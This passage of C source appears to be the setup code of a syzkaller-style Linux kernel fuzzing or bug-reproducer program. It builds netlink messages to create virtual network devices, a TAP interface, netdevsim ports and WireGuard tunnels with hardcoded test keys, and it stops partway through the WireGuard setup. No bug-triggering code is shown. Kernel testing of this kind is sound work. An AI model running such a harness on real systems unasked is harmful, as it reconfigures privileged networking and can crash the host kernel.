static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
};
static struct nlmsg nlmsg;
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_type = typ;
nlmsg->pos += sizeof(*attr);
nlmsg->nested[nlmsg->nesting++] = attr;
}
static void netlink_done(struct nlmsg* nlmsg)
{
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
attr->nla_len = nlmsg->pos - (char*)attr;
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (hdr->nlmsg_type == NLMSG_DONE) {
*reply_len = 0;
return 0;
}
if (n < sizeof(struct nlmsghdr))
exit(1);
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL);
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
if (name)
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
netlink_nest(nlmsg, IFLA_LINKINFO);
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
const char* name)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
const char* peer)
{
netlink_add_device_impl(nlmsg, "veth", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_nest(nlmsg, VETH_INFO_PEER);
nlmsg->pos += sizeof(struct ifinfomsg);
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
netlink_done(nlmsg);
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
const char* slave1, const char* slave2)
{
netlink_add_device_impl(nlmsg, "hsr", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type,
const char* name, const char* link)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t id, uint16_t proto)
{
netlink_add_device_impl(nlmsg, "vlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link)
{
netlink_add_device_impl(nlmsg, "macvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
uint32_t mode = MACVLAN_MODE_BRIDGE;
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name,
uint32_t vni, struct in_addr* addr4,
struct in6_addr* addr6)
{
netlink_add_device_impl(nlmsg, "geneve", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
if (addr4)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
if (addr6)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t mode, uint16_t flags)
{
netlink_add_device_impl(nlmsg, "ipvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
const void* addr, int addrsize, const void* mac,
int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, NDA_DST, addr, addrsize);
netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int tunfd = -1;
#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 240;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
exit(1);
}
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr),
&macaddr, ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr),
&macaddr, ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN,
NULL);
close(sock);
}
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
static int netlink_devlink_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
struct nlattr* attr;
int err, n;
uint16_t id = 0;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, DEVLINK_FAMILY_NAME,
strlen(DEVLINK_FAMILY_NAME) + 1);
err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */
return id;
}
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_devlink_id_get(&nlmsg, sock);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len);
if (err) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
char buf[16];
sprintf(buf, "%u %u", addr, port_count);
if (write_file("/sys/bus/netdevsim/new_device", buf)) {
snprintf(buf, sizeof(buf), "netdevsim%d", addr);
initialize_devlink_ports("netdevsim", buf, "netdevsim");
}
}
#define WG_GENL_NAME "wireguard"
enum wg_cmd {
WG_CMD_GET_DEVICE,
WG_CMD_SET_DEVICE,
};
enum wgdevice_attribute {
WGDEVICE_A_UNSPEC,
WGDEVICE_A_IFINDEX,
WGDEVICE_A_IFNAME,
WGDEVICE_A_PRIVATE_KEY,
WGDEVICE_A_PUBLIC_KEY,
WGDEVICE_A_FLAGS,
WGDEVICE_A_LISTEN_PORT,
WGDEVICE_A_FWMARK,
WGDEVICE_A_PEERS,
};
enum wgpeer_attribute {
WGPEER_A_UNSPEC,
WGPEER_A_PUBLIC_KEY,
WGPEER_A_PRESHARED_KEY,
WGPEER_A_FLAGS,
WGPEER_A_ENDPOINT,
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
WGPEER_A_LAST_HANDSHAKE_TIME,
WGPEER_A_RX_BYTES,
WGPEER_A_TX_BYTES,
WGPEER_A_ALLOWEDIPS,
WGPEER_A_PROTOCOL_VERSION,
};
enum wgallowedip_attribute {
WGALLOWEDIP_A_UNSPEC,
WGALLOWEDIP_A_FAMILY,
WGALLOWEDIP_A_IPADDR,
WGALLOWEDIP_A_CIDR_MASK,
};
static int netlink_wireguard_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
struct nlattr* attr;
int err, n;
uint16_t id = 0;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, WG_GENL_NAME,
strlen(WG_GENL_NAME) + 1);
err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */
return id;
}
static void netlink_wireguard_setup(void)
{
const char ifname_a[] = "wg0";
const char ifname_b[] = "wg1";
const char ifname_c[] = "wg2";
const char private_a[] =
"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1"
"\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43";
const char private_b[] =
"\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c"
"\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e";
const char private_c[] =
"\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15"
"\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42";
const char public_a[] =
"\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25"
"\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c";
const char public_b[] =
"\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e"
"\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b";
const char public_c[] =
"\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c"
"\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22";
const uint16_t listen_a = 20001;
const uint16_t listen_b = 20002;
const uint16_t listen_c = 20003;
const uint16_t af_inet = AF_INET;
const uint16_t af_inet6 = AF_INET6;
/* Unused, but useful in case we change this:
const struct sockaddr_in endpoint_a_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_a),
.sin_addr = {htonl(INADDR_LOOPBACK)}};*/
const struct sockaddr_in endpoint_b_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_b),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
const struct sockaddr_in endpoint_c_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_c),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_a)};
endpoint_a_v6.sin6_addr = in6addr_loopback;
/* Unused, but useful in case we change this:
const struct sockaddr_in6 endpoint_b_v6 = {
.sin6_family = AF_INET6,
.sin6_port = htons(listen_b)};
endpoint_b_v6.sin6_addr = in6addr_loopback; */
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_c)};
endpoint_c_v6.sin6_addr = in6addr_loopback;
const struct in_addr first_half_v4 = {0};
const struct in_addr second_half_v4 = {htonl(128 << 24)};
const struct in6_addr first_half_v6 = {{{0}}};
const struct in6_addr second_half_v6 = {{{0x80}}};
const uint8_t half_cidr = 1;
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19};
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1};
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1) {
return;
}
id = netlink_wireguard_id_get(&nlmsg, sock);
if (id == -1)
goto error;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[0], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6,
sizeof(endpoint_c_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[1], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[2], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4,
sizeof(endpoint_c_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[3], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[4], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
